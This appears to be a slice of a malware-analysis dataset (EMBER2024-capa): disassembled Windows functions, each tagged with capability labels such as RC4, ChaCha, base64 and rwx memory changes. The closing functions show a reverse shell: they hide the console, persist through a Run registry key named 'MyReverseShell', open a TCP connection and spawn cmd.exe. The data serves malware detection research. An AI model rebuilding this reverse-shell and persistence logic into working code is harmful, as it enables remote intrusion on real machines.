joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180031670
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x58
mov rax, qword [rsp + 0x80]
mov ecx, dword [rsp + 0x88]
mov eax, dword [rax + 0x24]
sub eax, ecx
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jg 0x180031748
mov dword [rsp + 0x30], 0
jmp 0x1800316c1
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x90]
cmp dword [rsp + 0x30], eax
jge 0x1800316e2
movsxd rax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
movzx eax, byte [rcx + rax]
test eax, eax
jne 0x1800316e2
jmp 0x1800316b7
mov eax, dword [rsp + 0x90]
cmp dword [rsp + 0x30], eax
jge 0x180031743
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x70]
call fcn.1800843c0
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x180031711
mov eax, dword [rsp + 0x38]
jmp 0x180031835
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x90]
sub ecx, eax
mov eax, ecx
cdqe
mov qword [rsp + 0x48], rax
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x78]
add rdx, rcx
mov rcx, rdx
mov rdi, rcx
xor eax, eax
mov rcx, qword [rsp + 0x48]
rep stosb byte [rdi], al
jmp 0x180031833
mov eax, dword [rsp + 0x90]
cmp dword [rsp + 0x34], eax
jge 0x1800317bb
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x90]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x34]
mov edx, dword [rsp + 0x88]
add edx, ecx
mov ecx, edx
movsxd rdx, dword [rsp + 0x34]
mov rdi, qword [rsp + 0x78]
add rdi, rdx
mov rdx, rdi
mov dword [rsp + 0x20], eax
mov r9d, ecx
mov r8, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x70]
call fcn.180031670
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0
je 0x1800317b0
mov eax, dword [rsp + 0x3c]
jmp 0x180031835
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x90], eax
movsxd rax, dword [rsp + 0x90]
movsxd rcx, dword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
add rcx, qword [rdx + 0x10]
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x78]
call fcn.1800ef890
test eax, eax
je 0x180031833
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x70]
call fcn.1800843c0
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x18003180a
mov eax, dword [rsp + 0x40]
jmp 0x180031835
movsxd rax, dword [rsp + 0x90]
movsxd rcx, dword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
add rcx, qword [rdx + 0x10]
mov rdi, qword [rsp + 0x78]
mov rsi, rcx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
xor eax, eax
add rsp, 0x58
pop rdi
pop rsi
ret
Function at 0x180057430
Capabilities:
Reference sql statements

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [0x180399a38]
mov r8, qword [rsp + 0x48]
lea rdx, str.SELECT_1_FROM___w_._s_WHERE_name_NOT_LIKE_sqlite____AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d_NULL
mov rcx, qword [rsp + 0x40]
call fcn.1800805e0
cmp dword [rsp + 0x50], 0
jne 0x180057496
mov r9, qword [rsp + 0x48]
lea r8, [0x180399b28]
lea rdx, str.SELECT_1_FROM_temp._s_WHERE_name_NOT_LIKE_sqlite____AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1_NULL
mov rcx, qword [rsp + 0x40]
call fcn.1800805e0
add rsp, 0x38
ret
Function at 0x180092940
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rax, qword [rsp + 0x50]
mov qword [rax], 0
mov ecx, 0x28
call fcn.18007fb40
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x180092981
mov eax, 7
jmp 0x180092a4b
cmp dword [0x18039daa4], 0
je 0x180092998
mov ecx, 0xc8
call fcn.180074280
test eax, eax
je 0x1800929a8
mov rdi, qword [rsp + 0x30]
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
jmp 0x180092a10
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x58]
mov qword [rax + 0x10], rcx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x60]
mov qword [rax + 0x18], rcx
mov rax, qword [rsp + 0x30]
add rax, 8
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x30]
lea r8, [0x180092b00]
xor edx, edx
xor ecx, ecx
call fcn.1800f8dd0
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
jne 0x180092a10
mov rdi, qword [rsp + 0x30]
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x30]
cmp qword [rax + 0x10], 0
jne 0x180092a3c
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword [rsp + 0x30]
mov dword [rcx + 8], eax
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x58]
mov rcx, qword [rsp + 0x30]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
mov qword [rax], rcx
xor eax, eax
add rsp, 0x40
pop rdi
ret
Function at 0x1800d2bf0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x28
lea r9, [rsp + 0x40]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
test eax, eax
sete cl
neg ecx
mov eax, ecx
add rsp, 0x28
ret

Function at 0x1800d2c20
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x28
lea r9, [rsp + 0x40]
mov r8d, 2
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
test eax, eax
sete cl
neg ecx
mov eax, ecx
add rsp, 0x28
ret

Function at 0x1800d2c50
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x28
lea r9, [rsp + 0x40]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
test eax, eax
sete cl
neg ecx
mov eax, ecx
add rsp, 0x28
ret

Function at 0x1800d2ca0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x24]
mov qword [0x1803a22f8], rax
cmp rax, 0xf
ja 0x1800d2cc5
call fcn.1800d28a0
mov edx, 0x10
lea rcx, [0x1803a2300]
call fcn.1800d2b30
xor eax, eax
add rsp, 0x58
ret

Function at 0x1800d2f60
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], rcx
xor r9d, r9d
mov qword [rsp + 0x10], rdx
mov r10, r8
mov byte [rsp + 8], 0
test r8, r8
je 0x1800d2fab
nop word [rax + rax]
mov rax, qword [rsp + 0x10]
movzx ecx, byte [rax + r9]
mov rax, qword [rsp + 0x18]
movzx r8d, byte [rax + r9]
inc r9
movzx eax, byte [rsp + 8]
xor r8d, ecx
or eax, r8d
mov byte [rsp + 8], al
cmp r9, r10
jb 0x1800d2f80
movzx eax, byte [rsp + 8]
dec eax
sar eax, 8
and eax, 1
dec eax
ret
Function at 0x1800d34f0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
xor edi, edi
mov rbp, rcx
mov ecx, dword [rsp + 0x70]
mov ebx, edi
mov r14d, edi
mov esi, edi
mov r15, r9
call fcn.1800d34e0
movabs rax, 0xaaaaaaaaaaaaaaab
mov rcx, r15
mul r15
shr rdx, 1
lea rax, [rdx + rdx*2]
lea r12, [rdx*4]
sub rcx, rax
je 0x1800d3563
test byte [rsp + 0x70], 2
jne 0x1800d3559
add r12, 4
jmp 0x1800d3563
shr rcx, 1
add r12, 2
add r12, rcx
cmp qword [rsp + 0x58], r12
ja 0x1800d356f
call fcn.1800d28a0
test byte [rsp + 0x70], 4
je 0x1800d35f5
test r15, r15
je 0x1800d3665
mov r11, qword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r14 + r11]
add rdi, 8
shl esi, 8
inc r14
add esi, eax
cmp rdi, 6
jb 0x1800d35d1
nop word [rax + rax]
mov eax, esi
sub rdi, 6
mov rcx, rdi
shr eax, cl
and eax, 0x3f
mov ecx, eax
call fcn.1800d3150
mov byte [rbx + rbp], al
inc rbx
cmp rdi, 6
jae 0x1800d35b0
cmp r14, r15
jb 0x1800d3590
test rdi, rdi
je 0x1800d3665
mov ecx, 6
sub cl, dil
shl esi, cl
and esi, 0x3f
mov ecx, esi
call fcn.1800d3150
jmp 0x1800d365f
test r15, r15
je 0x1800d3665
mov r11, qword [rsp + 0x60]
nop
movzx eax, byte [r14 + r11]
add rdi, 8
shl esi, 8
inc r14
add esi, eax
cmp rdi, 6
jb 0x1800d3641
nop word [rax + rax]
mov eax, esi
sub rdi, 6
mov rcx, rdi
shr eax, cl
and eax, 0x3f
mov ecx, eax
call fcn.1800d30e0
mov byte [rbx + rbp], al
inc rbx
cmp rdi, 6
jae 0x1800d3620
cmp r14, r15
jb 0x1800d3600
test rdi, rdi
je 0x1800d3665
mov ecx, 6
sub cl, dil
shl esi, cl
and esi, 0x3f
mov ecx, esi
call fcn.1800d30e0
mov byte [rbx + rbp], al
inc rbx
cmp rbx, r12
jae 0x1800d367e
sub r12, rbx
lea rdi, [rbx + rbp]
mov rcx, r12
mov eax, 0x3d
rep stosb byte [rdi], al
add rbx, r12
mov rax, qword [rsp + 0x58]
mov byte [rbx + rbp], 0
inc rbx
cmp rbx, rax
jb 0x1800d3683
mov rbx, qword [rsp + 0x50]
mov rax, rbp
mov rbp, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1800d3bf0
Capabilities:
Encode data using xor
Encrypt data using salsa20 or chacha

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x18
mov rax, rdx
test r9, r9
jne 0x1800d3c26
mov ebx, 0x79622d32
mov r10d, 0x61707865
mov r11d, 0x3320646e
mov r9d, 0x6b206574
jmp 0x1800d3c35
mov r10d, dword [r9]
mov r11d, dword [r9 + 4]
mov ebx, dword [r9 + 8]
mov r9d, dword [r9 + 0xc]
mov ecx, dword [r8 + 0x18]
mov edx, dword [r8 + 0x14]
mov r14d, dword [r8]
mov r15d, dword [r8 + 4]
mov r12d, dword [r8 + 8]
mov ebp, dword [r8 + 0xc]
mov r13d, dword [r8 + 0x10]
mov edi, dword [rax + 8]
mov esi, dword [rax + 0xc]
mov dword [rsp + 0x68], ecx
mov ecx, dword [r8 + 0x1c]
mov r8d, dword [rax + 4]
mov dword [rsp + 0x78], edx
mov edx, dword [rax]
mov dword [rsp + 0x70], ecx
mov ecx, dword [rsp + 0x78]
mov qword [rsp + 8], 0xa
nop dword [rax]
lea eax, [rcx + r10]
rol eax, 7
xor ebp, eax
lea eax, [r10 + rbp]
rol eax, 9
xor edi, eax
lea eax, [rdi + rbp]
rol eax, 0xd
xor ecx, eax
lea eax, [rdi + rcx]
ror eax, 0xe
xor r10d, eax
lea eax, [r14 + r11]
rol eax, 7
xor esi, eax
lea eax, [rsi + r11]
rol eax, 9
xor dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
add eax, esi
rol eax, 0xd
xor r14d, eax
mov eax, dword [rsp + 0x68]
add eax, r14d
ror eax, 0xe
xor r11d, eax
lea eax, [rdx + rbx]
rol eax, 7
xor dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
add eax, ebx
rol eax, 9
xor r15d, eax
mov eax, dword [rsp + 0x70]
add eax, r15d
rol eax, 0xd
xor edx, eax
lea eax, [rdx + r15]
ror eax, 0xe
xor ebx, eax
lea eax, [r9 + r13]
rol eax, 7
xor r12d, eax
lea eax, [r12 + r9]
rol eax, 9
xor r8d, eax
lea eax, [r8 + r12]
rol eax, 0xd
xor r13d, eax
lea eax, [r8 + r13]
ror eax, 0xe
xor r9d, eax
lea eax, [r12 + r10]
rol eax, 7
xor r14d, eax
mov dword [rsp], r14d
lea eax, [r14 + r10]
rol eax, 9
xor r15d, eax
lea eax, [r15 + r14]
rol eax, 0xd
xor r12d, eax
lea eax, [r12 + r15]
ror eax, 0xe
xor r10d, eax
lea eax, [r11 + rbp]
rol eax, 7
xor edx, eax
lea eax, [rdx + r11]
rol eax, 9
xor r8d, eax
lea eax, [r8 + rdx]
rol eax, 0xd
xor ebp, eax
lea eax, [r8 + rbp]
ror eax, 0xe
xor r11d, eax
lea eax, [rsi + rbx]
rol eax, 7
xor r13d, eax
lea eax, [rbx + r13]
mov r14d, dword [rsp + 0x70]
rol eax, 9
xor edi, eax
lea eax, [rdi + r13]
rol eax, 0xd
xor esi, eax
lea eax, [rsi + rdi]
ror eax, 0xe
xor ebx, eax
mov eax, dword [rsp + 0x70]
add eax, r9d
rol eax, 7
xor ecx, eax
lea eax, [rcx + r9]
rol eax, 9
xor dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
add eax, ecx
rol eax, 0xd
xor r14d, eax
mov eax, dword [rsp + 0x68]
add eax, r14d
mov dword [rsp + 0x70], r14d
mov r14d, dword [rsp]
ror eax, 0xe
xor r9d, eax
sub qword [rsp + 8], 1
jne 0x1800d3c80
mov rcx, qword [rsp + 0x60]
xor eax, eax
mov dword [rcx], r10d
mov dword [rcx + 4], r11d
mov dword [rcx + 8], ebx
mov dword [rcx + 0xc], r9d
mov dword [rcx + 0x10], edx
mov dword [rcx + 0x14], r8d
mov dword [rcx + 0x18], edi
mov dword [rcx + 0x1c], esi
add rsp, 0x18
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800d4050
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
call fcn.1800d40d0
mov eax, 0xffffffff
cmp rbx, rax
jbe 0x1800d4074
call fcn.1800d28a0
mov edx, ebx
mov rcx, rdi
call sub.ADVAPI32.dll_SystemFunction036
test al, al
jne 0x1800d4087
call fcn.1800d28a0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1800d99e0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov dword [rcx], 0x61707865
mov dword [rcx + 4], 0x3320646e
mov dword [rcx + 8], 0x79622d32
mov dword [rcx + 0xc], 0x6b206574
mov eax, dword [rdx]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 8]
mov dword [rcx + 0x18], eax
mov eax, dword [rdx + 0xc]
mov dword [rcx + 0x1c], eax
mov eax, dword [rdx + 0x10]
mov dword [rcx + 0x20], eax
mov eax, dword [rdx + 0x14]
mov dword [rcx + 0x24], eax
mov eax, dword [rdx + 0x18]
mov dword [rcx + 0x28], eax
mov eax, dword [rdx + 0x1c]
mov dword [rcx + 0x2c], eax
ret
Function at 0x1800ddf50
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [rdx]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 0x28], eax
mov eax, dword [rdx + 8]
mov dword [rcx + 0x3c], eax
mov eax, dword [rdx + 0xc]
mov dword [rcx + 0x30], eax
mov eax, dword [rdx + 0x10]
mov dword [rcx + 0x1c], eax
mov eax, dword [rdx + 0x14]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 0x18]
mov dword [rcx + 0x24], eax
mov eax, dword [rdx + 0x1c]
mov dword [rcx + 0x38], eax
mov dword [rcx], 0x61707865
mov dword [rcx + 4], 0x3320646e
mov dword [rcx + 8], 0x79622d32
mov dword [rcx + 0xc], 0x6b206574
ret
Function at 0x1800e3a10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x10
mov rax, qword [0x1803a0f20]
xor rax, rsp
mov qword [rsp + 8], rax
xor eax, eax
lea r15, [0x180118fe0]
mov dword [rsp + 1], eax
xor r8b, r8b
movzx r11d, byte [rsp + 4]
mov r14, rcx
movzx ebx, byte [rsp + 3]
mov rbp, rcx
movzx edi, byte [rsp + 2]
sub r14, r15
mov word [rsp + 5], ax
movzx r10d, al
movzx r9d, byte [rsp + 6]
movzx esi, al
nop dword [rax]
nop word [rax + rax]
lea rcx, [r14 + rax]
movzx edx, byte [rcx + r15]
movzx ecx, byte [rax + r15]
xor cl, dl
or r8b, cl
movzx ecx, byte [rax + r15 + 0x20]
xor cl, dl
or sil, cl
movzx ecx, byte [rax + r15 + 0x40]
xor cl, dl
or dil, cl
movzx ecx, byte [rax + r15 + 0x60]
xor cl, dl
or bl, cl
movzx ecx, byte [rax + r15 + 0x80]
xor cl, dl
or r11b, cl
movzx ecx, byte [rax + r15 + 0xa0]
xor cl, dl
or r10b, cl
movzx ecx, byte [rax + r15 + 0xc0]
xor cl, dl
inc rax
or r9b, cl
cmp rax, 0x1f
jb 0x1800e3a80
movzx edx, byte [rax + rbp]
movzx ecx, byte [rax + r15]
and dl, 0x7f
xor cl, dl
or r8b, cl
movzx ecx, byte [rax + r15 + 0x20]
xor cl, dl
or sil, cl
movzx ecx, byte [rax + r15 + 0x40]
xor cl, dl
or dil, cl
movzx ecx, byte [rax + r15 + 0x60]
xor cl, dl
or bl, cl
movzx ecx, byte [rax + r15 + 0x80]
xor cl, dl
or r11b, cl
movzx ecx, byte [rax + r15 + 0xa0]
xor cl, dl
or r10b, cl
movzx ecx, byte [rax + r15 + 0xc0]
xor cl, dl
movzx eax, bl
dec eax
movzx edx, dil
or r9b, cl
dec edx
or edx, eax
movzx ecx, r9b
dec ecx
movzx eax, r11b
dec eax
or edx, eax
movzx eax, r10b
dec eax
or eax, edx
or eax, ecx
movzx ecx, sil
dec ecx
or eax, ecx
movzx ecx, r8b
dec ecx
or eax, ecx
shr eax, 8
and eax, 1
mov rcx, qword [rsp + 8]
xor rcx, rsp
call fcn.1800edcb0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x10
pop r15
pop r14
pop rdi
ret

Function at 0x1800e4f10
Capabilities:
Encode data using add xor sub operations

Disassembly:
mov qword [rsp + 8], rbx
xor r9b, r9b
lea r8, [0x1801190e0]
sub rcx, r8
mov r10b, 1
mov r11d, 0x20
lea rbx, [rcx + 0x20]
nop
movzx edx, byte [rbx + r8 - 1]
lea r8, [r8 - 1]
movzx ecx, byte [r8]
mov eax, edx
sub eax, ecx
xor edx, ecx
sar eax, 8
dec edx
and al, r10b
sar edx, 8
or r9b, al
and r10b, dl
add r11d, 0xffffffff
jne 0x1800e4f30
mov rbx, qword [rsp + 8]
xor eax, eax
test r9b, r9b
setne al
ret

Function at 0x1800e5eb0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rcx
xor eax, eax
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], eax
mov rcx, qword [rsp + 0x10]
movzx edx, byte [rcx + rax]
mov rcx, qword [rsp + 0x18]
movzx ecx, byte [rcx + rax]
inc rax
xor ecx, edx
or dword [rsp + 8], ecx
cmp rax, 0x10
jl 0x1800e5ec0
mov eax, dword [rsp + 8]
dec eax
shr eax, 8
and eax, 1
dec eax
ret
Function at 0x1800e5ef0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rcx
xor eax, eax
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], eax
mov rcx, qword [rsp + 0x10]
movzx edx, byte [rcx + rax]
mov rcx, qword [rsp + 0x18]
movzx ecx, byte [rcx + rax]
inc rax
xor ecx, edx
or dword [rsp + 8], ecx
cmp rax, 0x20
jl 0x1800e5f00
mov eax, dword [rsp + 8]
dec eax
shr eax, 8
and eax, 1
dec eax
ret
Function at 0x140131472
Capabilities:
Encrypt data using rc4 prga

Disassembly:
movabs r12, 0x79ab82f840adbfeb
jo 0x140130cef
test rdi, rbx
inc rcx
lea r13d, [rbp + 0xc11a]
add r15d, 0xce1c8a71
lea edi, [rcx + 0x8870]
jmp 0x14012fe2b
bswap edx
jp 0x140130157
movabs rcx, 0xf3278000000d2e9
jo 0x140130dd9
call rax
jmp rcx
inc dword [rax + r8*8 + 0x67850f]
add byte [rax], al
invalid
test rbp, rdi
ror r15d, 0x29
test r11, rbp
neg r13
jmp 0x140131362
pause
call rax
jl 0x1401308b3
lea r11d, [rbp - 0xb758]
nop
rcl r8d, 0
lea ebx, [rbp + 0xedd5]
jmp 0x1401317f2
test r11d, 0x7bb56e96
popfq
cmp r12d, 0xf4b70f5c
call rcx
jge 0x14012fe48
jmp rax
add byte [rax], al
add byte [rdi], cl
movabs byte [0x8d440000478fb28d], al
lea edi, [rbx - 0x3cffff55]
jmp 0x14013131d
rcr ebp, 0x1e
jno 0x140130cf7
lea r11d, [rbp - 0x69ea]
jmp 0x14013139b
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004054c0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004054d0]
mov dword [rax], 1
mov rax, qword [0x004054e0]
mov dword [rax], 1
mov rax, qword [0x004054b0]
mov dword [rax], 1
mov rax, qword [0x004053a0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004054a0]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00405460]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00405350]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov edx, 0
lea rcx, str.ConsoleWindowClass
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x401596
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x48]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.strlen
add eax, 1
mov rcx, qword [rbp - 0x48]
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
lea rdx, str.MyReverseShell
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x150
pop rbp
ret
Function at 0x401635
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x160], rcx
mov dword [rbp + 0x168], edx
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0xffffffffffffffff
jne 0x4016a6
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov rax, 0xffffffffffffffff
jmp 0x40172a
mov word [rbp - 0x60], 2
mov rcx, qword [rbp + 0x160]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x5c], eax
mov eax, dword [rbp + 0x168]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x5e], ax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x148]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x401723
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov rax, 0xffffffffffffffff
jmp 0x40172a
mov rax, qword [rbp + 0x148]
add rsp, 0x1d0
pop rbp
ret

Function at 0x401733
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
mov dword [rbp - 0x34], 0x100
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rdx, str.cmd.exe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp - 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
nop
add rsp, 0xe0
pop rbp
ret